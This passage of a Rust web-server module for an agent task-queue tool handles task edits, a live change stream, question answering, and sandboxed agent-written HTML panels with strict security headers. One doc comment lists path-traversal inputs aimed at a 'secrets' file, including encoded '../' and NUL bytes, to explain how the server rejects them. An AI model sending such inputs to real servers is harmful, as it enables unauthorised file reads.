5292/// names this task: a `running` status or an orphaned `.lock` left behind by a
5293/// killed daemon is a leftover, and treating either as authority made the
5294/// task undeletable from the phone for good. The associated runs, if any, are
5295/// kept: a run is self-contained history and not an appendage of the task.
5296async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
5297    blocking(move || {
5298        let id = resolve_task(&ui.queue, &id)?;
5299        let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
5300        ui.queue
5301            .remove(&id, in_flight, &ui.questions)
5302            .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
5303        Ok(StatusCode::NO_CONTENT)
5304    })
5305    .await
5306}
5307
5308/// Read a task, change it, write it back, under the queue's own lock.
5309///
5310/// Taking the same claim a daemon takes is what makes hold, release,
5311/// priority, edit, and done safe to press while magi is running: without it
5312/// the daemon's next save would land on top of the operator's change and
5313/// undo it. `change` can refuse - [`Task::set_priority`] and [`Task::edit`]
5314/// both do, for a running task - and that refusal becomes the 4xx the card
5315/// shows, same as any other domain rule.
5316async fn mutate(
5317    ui: Arc<Ui>,
5318    id: String,
5319    change: impl FnOnce(&mut Task) -> Result<()> + Send + 'static,
5320) -> ApiResult<Json<TaskView>> {
5321    blocking(move || {
5322        let id = resolve_task(&ui.queue, &id)?;
5323        // `claim` fails when the lock file already exists, which is the
5324        // conflict the UI must report: the daemon owns that task's file for
5325        // as long as it is running it, and our write would be lost under its
5326        // next save. The message names the lock either way.
5327        let _claim = ui.queue.claim(&id).map_err(|e| {
5328            ApiError::conflict(format!(
5329                "{e:#} - a daemon is running this task, so it cannot be \
5330                 changed from here yet"
5331            ))
5332        })?;
5333        let mut task = ui.queue.get(&id)?;
5334        change(&mut task).map_err(|e| match e.downcast::<crate::dupes::Duplicate>() {
5335            Ok(dup) => ApiError::conflict(dup.render(
5336                "Nothing was saved. If it is not a duplicate, repeat the request with \
5337                 \"force\": true.",
5338            )),
5339            Err(e) => ApiError::bad_request_from(e),
5340        })?;
5341        ui.queue.put(&mut task)?;
5342        Ok(Json(TaskView::from(task)))
5343    })
5344    .await
5345}
5346
5347/// The change stream: one revision number per store, on connect and whenever
5348/// any of them moves.
5349///
5350/// The poll runs in one spawned task per client, which is affordable because
5351/// the work is a directory scan and a `stat` per file. It stops as soon as the
5352/// receiver is gone, so a phone that walks out of range costs nothing after
5353/// its next tick - there is no session and no cleanup to forget.
5354async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
5355    let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
5356    tokio::spawn(async move {
5357        let mut ticker = tokio::time::interval(POLL);
5358        let mut last: Option<(u64, u64, u64, u64, u64, u64)> = None;
5359        let mut stamps: Option<[Stamps; 3]> = None;
5360        loop {
5361            // The first tick completes immediately, which is what makes the
5362            // stream announce the current revisions on connect.
5363            ticker.tick().await;
5364            let state = Arc::clone(&ui);
5365            let revisions = tokio::task::spawn_blocking(move || {
5366                let stamps = [
5367                    store_stamps(state.queue.root(), false),
5368                    store_stamps(&state.runs, true),
5369                    store_stamps(state.talks.root(), false),
5370                ];
5371                let revisions = (
5372                    stamps_revision(&stamps[0]),
5373                    stamps_revision(&stamps[1]),
5374                    state.questions.revision(),
5375                    stamps_revision(&stamps[2]),
5376                    state.notices.revision(),
5377                    // The loop's counter is in-process state rather than a
5378                    // file, so nothing the three stats above look at would
5379                    // tell this phone that another one started the loop.
5380                    state.lock_loop().rev,
5381                );
5382                (revisions, stamps)
5383            })
5384            .await;
5385            let Ok((revisions, next_stamps)) = revisions else {
5386                break;
5387            };
5388            if last == Some(revisions) {
5389                continue;
5390            }
5391            let mut payload = serde_json::json!({
5392                "queue_rev": revisions.0,
5393                "runs_rev": revisions.1,
5394                "questions_rev": revisions.2,
5395                "talks_rev": revisions.3,
5396                "notifications_rev": revisions.4,
5397                "loop_rev": revisions.5,
5398            });
5399            if let (Some(base), Some(previous)) = (last, stamps.as_ref()) {
5400                for (index, (key, rev)) in [
5401                    ("queue_delta", base.0),
5402                    ("runs_delta", base.1),
5403                    ("talks_delta", base.3),
5404                ]
5405                .into_iter()
5406                .enumerate()
5407                {
5408                    let delta = diff_stamps(&previous[index], &next_stamps[index], rev);
5409                    // Empty diffs may mean a non-file dependency moved. Read whole.
5410                    if delta.changed.len() + delta.removed.len() > 0 && delta.changed.len() <= 50 {
5411                        payload[key] = serde_json::to_value(delta).expect("serializable delta");
5412                    }
5413                }
5414            }
5415            last = Some(revisions);
5416            stamps = Some(next_stamps);
5417            // Giving up beats looping if the receiver is gone.
5418            let Ok(event) = Event::default().event("change").json_data(payload) else {
5419                break;
5420            };
5421            if tx.send(event).await.is_err() {
5422                break;
5423            }
5424        }
5425    });
5426    Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
5427        .keep_alive(KeepAlive::new().interval(KEEPALIVE))
5428}
5429
5430type Stamps = HashMap<String, (u128, u64)>;
5431
5432/// Metadata only: no task instructions or conversation bodies are read here.
5433fn store_stamps(root: &FsPath, runs: bool) -> Stamps {
5434    std::fs::read_dir(root)
5435        .into_iter()
5436        .flatten()
5437        .flatten()
5438        .filter_map(|entry| {
5439            let path = if runs {
5440                entry.path().join("run.json")
5441            } else {
5442                entry.path()
5443            };
5444            if !runs && path.extension().is_none_or(|ext| ext != "json") {
5445                return None;
5446            }
5447            let metadata = path.metadata().ok()?;
5448            let modified = metadata
5449                .modified()
5450                .ok()?
5451                .duration_since(std::time::UNIX_EPOCH)
5452                .ok()?;
5453            let id = if runs {
5454                entry.file_name().to_string_lossy().into_owned()
5455            } else {
5456                path.file_stem()?.to_string_lossy().into_owned()
5457            };
5458            Some((id, (modified.as_nanos(), metadata.len())))
5459        })
5460        .collect()
5461}
5462
5463#[derive(Debug, Serialize)]
5464struct Delta {
5465    base: u64,
5466    changed: Vec<String>,
5467    removed: Vec<String>,
5468}
5469
5470fn diff_stamps(previous: &Stamps, next: &Stamps, base: u64) -> Delta {
5471    let mut changed: Vec<_> = next
5472        .iter()
5473        .filter(|(id, stamp)| previous.get(*id) != Some(*stamp))
5474        .map(|(id, _)| id.clone())
5475        .collect();
5476    let mut removed: Vec<_> = previous
5477        .keys()
5478        .filter(|id| !next.contains_key(*id))
5479        .cloned()
5480        .collect();
5481    changed.sort_unstable();
5482    removed.sort_unstable();
5483    Delta {
5484        base,
5485        changed,
5486        removed,
5487    }
5488}
5489
5490/// Change detection token for recorded runs under `runs`.
5491///
5492/// Combines the id and `run.json` modification time of each run, so adding,
5493/// updating, or deleting any run — even an older one — moves the revision and
5494/// notifies connected clients via the change stream. Returns 0 when no runs
5495/// exist.
5496fn runs_revision(runs: &FsPath) -> u64 {
5497    stamps_revision(&store_stamps(runs, true))
5498}
5499
5500/// Opaque tokens use the exact metadata snapshot behind the delta, in both
5501/// health and SSE. Nanoseconds and length also detect same-millisecond writes
5502/// and deleting an older conversation (a newest-mtime token cannot do that).
5503fn stamps_revision(stamps: &Stamps) -> u64 {
5504    use std::hash::{Hash as _, Hasher as _};
5505    if stamps.is_empty() {
5506        return 0;
5507    }
5508    let mut entries: Vec<_> = stamps.iter().collect();
5509    entries.sort_unstable();
5510    let mut hasher = std::hash::DefaultHasher::new();
5511    entries.hash(&mut hasher);
5512    hasher.finish().max(1)
5513}
5514
5515/// Run ids under `runs`, newest first.
5516///
5517/// Rooted at an explicit directory rather than calling [`run::list_ids`],
5518/// which reads the process-global home: the server has to be drivable against
5519/// a temp directory for any of this to be testable.
5520fn run_ids(runs: &FsPath) -> Vec<String> {
5521    let mut ids: Vec<String> = std::fs::read_dir(runs)
5522        .into_iter()
5523        .flatten()
5524        .flatten()
5525        .filter(|e| e.path().join("run.json").is_file())
5526        .map(|e| e.file_name().to_string_lossy().into_owned())
5527        .collect();
5528    // Ids start with a sortable timestamp.
5529    ids.sort_unstable_by(|a, b| b.cmp(a));
5530    ids
5531}
5532
5533/// Read one run's state from an explicit runs root.
5534fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
5535    let path = runs.join(id).join("run.json");
5536    let body =
5537        std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
5538    let state: RunState =
5539        serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
5540    // The same migration `RunState::load` applies, so a record from the
5541    // previous schema reads here as it does everywhere else (an origin-less
5542    // run shows as "origin unknown") instead of vanishing from the phone the
5543    // moment the schema is bumped.
5544    run::migrate_schema(state)
5545}
5546
5547/// Runs on disk under `runs` whose state this build cannot parse - almost
5548/// always a schema bump, occasionally a run killed mid-write.
5549///
5550/// Exposed so every surface that reports on runs shares one count instead of
5551/// each re-deriving it: `/api/health` reports it as `runs_unreadable`, and
5552/// `magi doctor` calls this directly rather than guessing at the same number
5553/// a second way.
5554#[must_use]
5555pub fn runs_unreadable(runs: &FsPath) -> usize {
5556    run_ids(runs)
5557        .into_iter()
5558        .filter(|id| read_run(runs, id).is_err())
5559        .count()
5560}
5561
5562/// Expand an id or short id to exactly one run id.
5563fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
5564    if runs.join(id).join("run.json").is_file() {
5565        return Ok(id.to_owned());
5566    }
5567    pick(run_ids(runs), id, "run")
5568}
5569
5570/// Expand an id or short id to exactly one task id.
5571fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
5572    if queue.path_of(id).is_file() {
5573        return Ok(id.to_owned());
5574    }
5575    pick(queue.list().into_iter().map(|t| t.id).collect(), id, "task")
5576}
5577
5578/// A question as the phone reads it.
5579///
5580/// `detail`, the reasoning an agent wrote, is markdown; `detail_md` is that
5581/// text already parsed into a node tree so the client never runs its own
5582/// markdown reader over agent-authored prose. A relative image path in it
5583/// resolves against this question's own panel asset route, which is the one
5584/// place [`md::ImageBase::QuestionPanel`] is used - the panel iframe is a
5585/// separate, sandboxed document, but `detail` is rendered inline in the
5586/// operator's own page, so an image reference in it may only ever point at
5587/// files magi itself already serves for this question.
5588#[derive(Debug, Serialize)]
5589struct QuestionView {
5590    #[serde(flatten)]
5591    question: Question,
5592    detail_md: Vec<md::Node>,
5593    /// Each thread turn's body, parsed; same order as `question.thread`.
5594    thread_bodies_md: Vec<Vec<md::Node>>,
5595    /// Each thread turn's deputy note, parsed (`None` for a turn without
5596    /// one); same order as `question.thread`.
5597    thread_notes_md: Vec<Option<Vec<md::Node>>>,
5598    /// Is the ball in the agent's court right now?
5599    ///
5600    /// [`QuestionStatus`] stays `Open` for the whole of a round trip - see
5601    /// [`Question::say`] - so this is the one field that tells the phone to
5602    /// disable the answer controls and show "waiting for the agent" instead of
5603    /// a card the owner can act on. Computed rather than stored on
5604    /// [`Question`] itself, on the same reasoning as `waiting` on
5605    /// [`RunSummary`]: it is a read of `thread`'s own last entry, and keeping
5606    /// it here means the client never has to re-derive that rule.
5607    waiting_on_agent: bool,
5608    /// Who is waiting on this open question - see [`holder_of`]. Separate
5609    /// from `waiting_on_agent`, which is whose *turn* it is, not whether
5610    /// anyone is there to take it.
5611    holder: Option<&'static str>,
5612    /// Whether `magi serve` can start a follow-up agent for a conductor
5613    /// question at all: false when `daemon.max_deputies = 0` or the config is
5614    /// unreadable. Separate from `holder`, which says who is listening now.
5615    deputies_enabled: bool,
5616    /// `question.run` is a task id (conductor / triage questions), not a run
5617    /// id, so the UI links it to the task page.
5618    run_is_task: bool,
5619    /// The chat conversation this question's task came from, when the owner
5620    /// may hand the question to it - see [`crate::consult::origin_talk`]. The
5621    /// UI offers "Ask the chat agent" only when this is set; it is never one
5622    /// of `question.choices`.
5623    origin_chat: Option<String>,
5624    /// `origin_chat` is closed; consulting reopens it first.
5625    origin_chat_closed: bool,
5626}
5627
5628impl QuestionView {
5629    /// The view of `question`, reading who is waiting on it from `store`.
5630    ///
5631    /// `holder` needs the lease sidecar, which is why this is not a `From`.
5632    fn of(question: Question, store: &ask::Questions, deputies_enabled: bool) -> Self {
5633        let base = md::ImageBase::QuestionPanel {
5634            id: question.id.clone(),
5635        };
5636        let holder = holder_of(&question, store.read_lease(&question.id).as_ref());
5637        Self {
5638            detail_md: md::to_nodes(&question.detail, &base),
5639            thread_bodies_md: question
5640                .thread
5641                .iter()
5642                .map(|t| md::to_nodes(&t.body, &base))
5643                .collect(),
5644            thread_notes_md: question
5645                .thread
5646                .iter()
5647                .map(|t| t.note.as_deref().map(|n| md::to_nodes(n, &base)))
5648                .collect(),
5649            waiting_on_agent: question.waiting_on_agent(),
5650            holder,
5651            deputies_enabled,
5652            run_is_task: question.run_names_task(),
5653            origin_chat: None,
5654            origin_chat_closed: false,
5655            question,
5656        }
5657    }
5658
5659    /// Fill `origin_chat` from the queue and the talks.
5660    fn with_origin(mut self, tasks: &[crate::queue::Task], talks: &[Talk]) -> Self {
5661        let talk = crate::consult::origin_talk(tasks, talks, &self.question);
5662        self.origin_chat_closed = talk.as_ref().is_some_and(|t| !t.status.open());
5663        self.origin_chat = talk.map(|t| t.id);
5664        self
5665    }
5666}
5667
5668/// The config this repository resolves, or `None` when it cannot be read.
5669/// Discovering is git processes plus a config render, so a request that needs
5670/// it for many items takes it once and passes it down.
5671fn deputy_config(repo: &std::path::Path) -> Option<Config> {
5672    Config::discover(repo, None).ok().map(|(c, _)| c)
5673}
5674
5675/// Can `magi serve` start a deputy for this question under `cfg`?
5676fn deputies_enabled(cfg: Option<&Config>, q: &Question) -> bool {
5677    crate::deputy::can_start(cfg, crate::deputy::agent_of(q))
5678}
5679
5680/// The views `GET /api/questions` answers. `load` runs at most once, however
5681/// many questions there are, and not at all when there are none.
5682fn question_views(
5683    qs: Vec<Question>,
5684    store: &ask::Questions,
5685    load: impl FnOnce() -> Option<Config>,
5686) -> Vec<QuestionView> {
5687    if qs.is_empty() {
5688        return Vec::new();
5689    }
5690    let cfg = load();
5691    qs.into_iter()
5692        .map(|q| {
5693            let on = deputies_enabled(cfg.as_ref(), &q);
5694            QuestionView::of(q, store, on)
5695        })
5696        .collect()
5697}
5698
5699/// Who is honestly waiting on an open question right now: `"asker"` (the
5700/// agent's own `magi ask`), `"deputy"` (the follow-up seat `magi serve` runs
5701/// for a conductor question), `"daemon"` (`magi serve` resuming the asking
5702/// seat's session), or `"nobody"` - the asker is gone and nothing has picked it
5703/// up, or the question never had anyone listening (a conductor question or a
5704/// merge approval from before deputies, or not yet given one).
5705///
5706/// `None` for a question that is settled, and for one that is not an agent's
5707/// to wait on at all (a release notice).
5708fn holder_of(q: &Question, lease: Option<&ask::Lease>) -> Option<&'static str> {
5709    if !q.status.open() {
5710        return None;
5711    }
5712    if q.cwd.is_none() && q.deputy.is_none() {
5713        return crate::deputy::kind_of(q).map(|_| "nobody");
5714    }
5715    Some(match lease.filter(|l| l.fresh(jiff::Timestamp::now())) {
5716        Some(_) if q.deputy.is_some() => "deputy",
5717        Some(l) if l.kind == ask::WaiterKind::Daemon => "daemon",
5718        Some(_) => "asker",
5719        None => "nobody",
5720    })
5721}
5722
5723/// `GET /api/questions`.
5724///
5725/// Everything, not just the open ones: an answered question is the record of a
5726/// decision, and the phone is where the operator goes back to check what they
5727/// told an agent at 3am. `ask::Questions::list` already ranks open first.
5728async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
5729    blocking(move || {
5730        let (tasks, talks) = (ui.queue.list(), ui.talks.list());
5731        Ok(Json(
5732            question_views(ui.questions.list(), &ui.questions, || {
5733                deputy_config(&ui.repo)
5734            })
5735            .into_iter()
5736            .map(|v| v.with_origin(&tasks, &talks))
5737            .collect(),
5738        ))
5739    })
5740    .await
5741}
5742
5743/// `GET /api/notifications`: not dismissed, newest first, with the unread
5744/// count so the badge and the list cannot disagree.
5745async fn notifications_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
5746    blocking(move || {
5747        let items = ui.notices.list();
5748        let unread = items.iter().filter(|n| n.unread()).count();
5749        Ok(Json(
5750            serde_json::json!({ "unread": unread, "items": items }),
5751        ))
5752    })
5753    .await
5754}
5755
5756fn notice_error(e: anyhow::Error) -> ApiError {
5757    // An unknown or malformed id and a vanished file are the same answer to
5758    // the phone: that notification is gone.
5759    ApiError::not_found(format!("{e:#}"))
5760}
5761
5762/// `POST /api/notifications/{id}/read`.
5763async fn notification_read(
5764    State(ui): State<Arc<Ui>>,
5765    Path(id): Path<String>,
5766) -> ApiResult<Json<Notice>> {
5767    blocking(move || ui.notices.mark_read(&id).map(Json).map_err(notice_error)).await
5768}
5769
5770/// `POST /api/notifications/{id}/dismiss`.
5771async fn notification_dismiss(
5772    State(ui): State<Arc<Ui>>,
5773    Path(id): Path<String>,
5774) -> ApiResult<Json<Notice>> {
5775    blocking(move || ui.notices.dismiss(&id).map(Json).map_err(notice_error)).await
5776}
5777
5778/// `POST /api/notifications/read-all`.
5779async fn notifications_read_all(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
5780    blocking(move || {
5781        let changed = ui.notices.mark_all_read()?;
5782        Ok(Json(serde_json::json!({ "marked": changed })))
5783    })
5784    .await
5785}
5786
5787/// The body of `POST /api/questions/{id}/answer`.
5788///
5789/// Exactly one of the two fields, mirroring `ask::Answer`. Both or neither is
5790/// a bad request rather than a guess: an answer magi invented is worse than a
5791/// question left open.
5792#[derive(Debug, Default, Deserialize)]
5793#[serde(default, deny_unknown_fields)]
5794struct NewAnswer {
5795    choice: Option<String>,
5796    text: Option<String>,
5797}
5798
5799async fn question_answer(
5800    State(ui): State<Arc<Ui>>,
5801    Path(id): Path<String>,
5802    body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
5803) -> ApiResult<Json<QuestionView>> {
5804    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5805    let answer = match (body.choice, body.text) {
5806        (Some(c), None) => Answer::Choice(c),
5807        (None, Some(t)) => Answer::Text(t),
5808        (Some(_), Some(_)) => {
5809            return Err(ApiError::bad_request(
5810                "send either `choice` or `text`, not both",
5811            ));
5812        }
5813        (None, None) => {
5814            return Err(ApiError::bad_request("send a `choice` or a `text`"));
5815        }
5816    };
5817
5818    blocking(move || {
5819        let id = resolve_question(&ui.questions, &id)?;
5820        let q = ui
5821            .questions
5822            .get(&id)
5823            .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
5824        if !q.status.open() {
5825            // Answered from the terminal, or by another phone, in between the
5826            // list and the tap. The UI shows the recorded answer rather than an
5827            // error, so it needs the record, not just the status.
5828            return Err(ApiError::conflict(format!(
5829                "question {} is already {}",
5830                q.short(),
5831                q.status.as_str()
5832            )));
5833        }
5834        // `Question::answer` owns the rules - an unoffered choice, free text on
5835        // a multiple-choice question, an empty reply - so the route does not
5836        // restate them and cannot drift from the CLI's behaviour.
5837        let (q, ()) = ui
5838            .questions
5839            .update(&q.id, |r| r.answer(answer))
5840            .map_err(ApiError::bad_request_from)?;
5841        let on = deputies_enabled(deputy_config(&ui.repo).as_ref(), &q);
5842        let (tasks, talks) = (ui.queue.list(), ui.talks.list());
5843        Ok(Json(
5844            QuestionView::of(q, &ui.questions, on).with_origin(&tasks, &talks),
5845        ))
5846    })
5847    .await
5848}
5849
5850/// The body of `POST /api/questions/{id}/say`.
5851#[derive(Debug, Deserialize)]
5852#[serde(deny_unknown_fields)]
5853struct NewSay {
5854    body: String,
5855}
5856
5857/// `POST /api/questions/{id}/say` - the owner talks back without deciding.
5858///
5859/// Synchronous, unlike `POST /api/talks/{id}/say`: that route spawns an agent
5860/// CLI and waits on it, this one only appends a [`ask::Turn`] and writes the
5861/// file, so there is no turn to serialize against and no
5862/// [`Ui::begin_talk_turn`] guard to take. The agent waiting on this question
5863/// is a *different* process - the run parked behind `magi ask` - and picks
5864/// the reply up on its own poll of the very same file, same as an answer
5865/// does.
5866async fn question_say(
5867    State(ui): State<Arc<Ui>>,
5868    Path(id): Path<String>,
5869    body: std::result::Result<Json<NewSay>, JsonRejection>,
5870) -> ApiResult<Json<QuestionView>> {
5871    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5872    blocking(move || {
5873        let id = resolve_question(&ui.questions, &id)?;
5874        let q = ui
5875            .questions
5876            .get(&id)
5877            .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
5878        if !q.status.open() {
5879            // Same granularity as `question_answer`: answered or abandoned in
5880            // between the list and the tap is not this route's error to
5881            // explain any differently.
5882            return Err(ApiError::conflict(format!(
5883                "question {} is already {}",
5884                q.short(),
5885                q.status.as_str()
5886            )));
5887        }
5888        // `Question::say` owns the one rule that matters here - an empty
5889        // message tells the agent nothing - so the route does not restate it.
5890        let (q, ()) = ui
5891            .questions
5892            .update(&q.id, |r| r.say(body.body))
5893            .map_err(ApiError::bad_request_from)?;
5894        let on = deputies_enabled(deputy_config(&ui.repo).as_ref(), &q);
5895        let (tasks, talks) = (ui.queue.list(), ui.talks.list());
5896        Ok(Json(
5897            QuestionView::of(q, &ui.questions, on).with_origin(&tasks, &talks),
5898        ))
5899    })
5900    .await
5901}
5902
5903/// `POST /api/questions/{id}/consult` - hand the question to the chat its task
5904/// came from. The question stays open: the chat agent answers it with `magi
5905/// answer`, or puts the decision to the owner in the conversation.
5906///
5907/// Answers 202 and runs the turn in the background, like every route that
5908/// spends agent calls. The text is queued as a draft of the existing talk, and
5909/// the turn goes through the talk's own gate and session; no seat or waiter is
5910/// started here.
5911async fn question_consult(
5912    State(ui): State<Arc<Ui>>,
5913    Path(id): Path<String>,
5914) -> ApiResult<(StatusCode, Json<QuestionView>)> {
5915    let (view, reclaimed) = blocking({
5916        let ui = Arc::clone(&ui);
5917        move || {
5918            let id = resolve_question(&ui.questions, &id)?;
5919            let q = ui
5920                .questions
5921                .get(&id)
5922                .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
5923            if !q.status.open() {
5924                return Err(ApiError::conflict(format!(
5925                    "question {} is already {}",
5926                    q.short(),
5927                    q.status.as_str()
5928                )));
5929            }
5930            let (tasks, talks) = (ui.queue.list(), ui.talks.list());
5931            let Some(talk) = crate::consult::origin_talk(&tasks, &talks, &q) else {
5932                return Err(ApiError::conflict(format!(
5933                    "question {} has no chat to ask",
5934                    q.short()
5935                )));
5936            };
5937            // Read the config before `begin` saves anything: a failure here
5938            // must leave no consult record or draft behind, or a retry would
5939            // see `fresh == false` and never start the turn.
5940            let cfg = if q.consult.is_none() {
5941                Some(Config::discover(&talk.repo, None)?.0)
5942            } else {
5943                None
5944            };
5945            let fresh = crate::consult::begin(&ui.questions, &ui.talks, &q, &talk)?;
5946            let claim = if fresh {
5947                match ui.begin_queued_talk_turn(&talk.id)? {
5948                    Some(turn_guard) => {
5949                        let talk = ui.talks.get(&talk.id)?;
5950                        let cfg = match cfg {
5951                            Some(cfg) => cfg,
5952                            None => Config::discover(&talk.repo, None)?.0,
5953                        };
5954                        Some((talk, cfg, turn_guard))
5955                    }
5956                    None => None,
5957                }
5958            } else {
5959                None
5960            };
5961            let q = ui.questions.get(&q.id)?;
5962            let on = deputies_enabled(deputy_config(&ui.repo).as_ref(), &q);
5963            let view = QuestionView::of(q, &ui.questions, on).with_origin(&tasks, &talks);
5964            Ok((view, claim))
5965        }
5966    })
5967    .await?;
5968    if let Some((talk, cfg, turn_guard)) = reclaimed {
5969        let talks = ui.talks.clone();
5970        let id = talk.id.clone();
5971        tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
5972    }
5973    Ok((StatusCode::ACCEPTED, Json(view)))
5974}
5975
5976/// Expand an id or short id to exactly one question id.
5977fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
5978    if store.path_of(id).is_file() {
5979        return Ok(id.to_owned());
5980    }
5981    pick(
5982        store.list().into_iter().map(|q| q.id).collect(),
5983        id,
5984        "question",
5985    )
5986}
5987
5988/// `GET /api/questions/{id}/panel`.
5989///
5990/// The panel an agent wrote for this question, as `text/html` under
5991/// [`PANEL_CSP`], for the front end to mount in a token-less sandboxed iframe.
5992/// A question without one is a 404 rather than an empty page: the client
5993/// preflights this route with `HEAD` and must be able to tell "no panel" from
5994/// "a panel that rendered blank", and a sandboxed frame is opaque to the
5995/// parent document so it cannot tell the difference by looking.
5996///
5997/// The body is whatever the agent wrote, byte for byte. Nothing here rewrites,
5998/// sanitises or minifies it - a sanitiser is a list of things someone thought
5999/// of, and the sandbox plus the CSP is a list of things that are allowed, which
6000/// is the direction that stays safe when an agent writes markup nobody
6001/// predicted.
6002async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
6003    blocking(move || {
6004        let id = resolve_question(&ui.questions, &id)?;
6005        let Some(html) = ui.questions.panel_html(&id) else {
6006            return Err(ApiError::not_found(format!("question {id} has no panel")));
6007        };
6008        Ok(panel_response(
6009            "text/html; charset=utf-8",
6010            false,
6011            html.into_bytes(),
6012        ))
6013    })
6014    .await
6015}
6016
6017/// `GET /api/questions/{id}/asset/{name}`.
6018///
6019/// One file from the question's own panel directory, so a panel can show a
6020/// diff as an SVG or a screenshot as a PNG without the CSP's `img-src 'self'`
6021/// having to allow anything off this machine.
6022///
6023/// This is the only route in the server where a client names a file, so it is
6024/// the only one with a traversal surface, and the name is checked by
6025/// [`ask::valid_asset_name`] before a path is built from it. Which layer stops
6026/// what is worth being explicit about, because the answer is not "all of it in
6027/// one place":
6028///
6029/// * `asset/../../secrets` never reaches this handler at all. axum matches on
6030///   the raw request path and `{name}` spans exactly one segment, so a real
6031///   slash makes the request too long for the route and the router answers 404.
6032/// * `asset/%2e%2e%2fsecrets` and `asset/..%5csecrets` do reach it: axum
6033///   percent-decodes path parameters, so `name` arrives as `../secrets` and
6034///   `..\secrets` respectively, which look like plain filenames to the router.
6035///   The validator refuses them here - both for the literal `..` and because
6036///   `/` and `\` are not in the permitted character set - and answers 400.
6037/// * A name carrying a NUL (`%00`) decodes to a string Rust is happy with but
6038///   the platform's path API is not, and it is refused here for the same
6039///   reason: NUL is not a permitted character.
6040/// * [`Questions::panel_asset`] validates again on read, so the check is not
6041///   load-bearing in only one place. This route's own check exists so the
6042///   failure is a 400 that says which name was wrong, rather than a store error
6043///   the operator has to interpret.
6044async fn question_asset(
6045    State(ui): State<Arc<Ui>>,
6046    Path((id, name)): Path<(String, String)>,
6047) -> ApiResult<Response> {
6048    // Before any filesystem work and before any path is built: a name this
6049    // server will not serve should not become a `PathBuf` at all.
6050    if !crate::ask::valid_asset_name(&name) {
6051        return Err(ApiError::bad_request(format!(
6052            "`{name}` is not a usable asset name"
6053        )));
6054    }
6055    blocking(move || {
6056        let id = resolve_question(&ui.questions, &id)?;
6057        let asset = ui
6058            .questions
6059            .panel_asset(&id, &name)
6060            .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
6061        let Some(bytes) = asset else {
6062            return Err(ApiError::not_found(format!(
6063                "question {id} has no asset `{name}`"
6064            )));
6065        };
6066        Ok(panel_response(
6067            asset_content_type(&name),
6068            is_svg(&name),
6069            bytes,
6070        ))
6071    })
6072    .await
6073}
6074
6075/// Content type for a panel asset, from a closed whitelist.
6076///
6077/// A whitelist with an `application/octet-stream` fallback rather than a
6078/// guess, because the one answer that must never come out of here is
6079/// `text/html`. An agent that writes `notes.html` into its panel directory and
6080/// links it would otherwise get its own markup rendered at the top level of the
6081/// operator's browser - outside the sandboxed frame, outside [`PANEL_CSP`], on
6082/// magi's origin - which is precisely the thing the panel design exists to
6083/// prevent. Same reasoning for `.js` and `.json`: unlisted means downloaded.
6084///
6085/// `nosniff` accompanies this on every response, so a browser cannot decide it
6086/// knows better than the type we sent.
6087fn asset_content_type(name: &str) -> &'static str {
6088    match extension(name).as_deref() {
6089        Some("png") => "image/png",
6090        Some("jpg" | "jpeg") => "image/jpeg",
6091        Some("gif") => "image/gif",
6092        Some("webp") => "image/webp",
6093        Some("svg") => "image/svg+xml",
6094        Some("css") => "text/css; charset=utf-8",
6095        Some("txt") => "text/plain; charset=utf-8",
6096        _ => "application/octet-stream",
6097    }
6098}
6099
6100/// Is this an SVG, and therefore a file that must never be opened at the top
6101/// level?
6102fn is_svg(name: &str) -> bool {
6103    extension(name).as_deref() == Some("svg")
6104}
6105
6106/// Lowercased extension, or `None` for a name without one.
6107fn extension(name: &str) -> Option<String> {
6108    name.rsplit_once('.')
6109        .map(|(_, ext)| ext.to_ascii_lowercase())
6110}
6111
6112/// Every panel response, with the four headers that make it safe and, for an
6113/// SVG, a fifth.
6114///
6115/// One function rather than a header list per handler, because a panel route
6116/// that forgets [`PANEL_CSP`] is not a cosmetic bug: it is the whole security
6117/// model gone, silently, on one of two routes. Adding a third panel route later
6118/// means calling this, and there is nowhere else to build a panel response.
6119///
6120/// `download` is set for SVG only. An SVG is XML that may carry `<script>`, and
6121/// as an `<img src>` inside the panel that script cannot run - but the asset
6122/// URL is also a plain URL an operator can be talked into opening in a tab,
6123/// where it is a document on magi's own origin. `Content-Disposition:
6124/// attachment` makes the browser download it instead of rendering it, which
6125/// closes that door without taking away the ability to draw a diff. Raster
6126/// images have no such execution surface and are left inline, so tapping a
6127/// screenshot still shows it.
6128fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
6129    let mut res = (
6130        [
6131            (header::CONTENT_TYPE, content_type),
6132            (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
6133            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
6134            (header::REFERRER_POLICY, "no-referrer"),
6135        ],
6136        body,
6137    )
6138        .into_response();
6139    if download {
6140        res.headers_mut().insert(
6141            header::CONTENT_DISPOSITION,
6142            HeaderValue::from_static("attachment"),
6143        );
6144    }
6145    res
6146}
6147
6148/// A talk as the phone reads it.
6149///
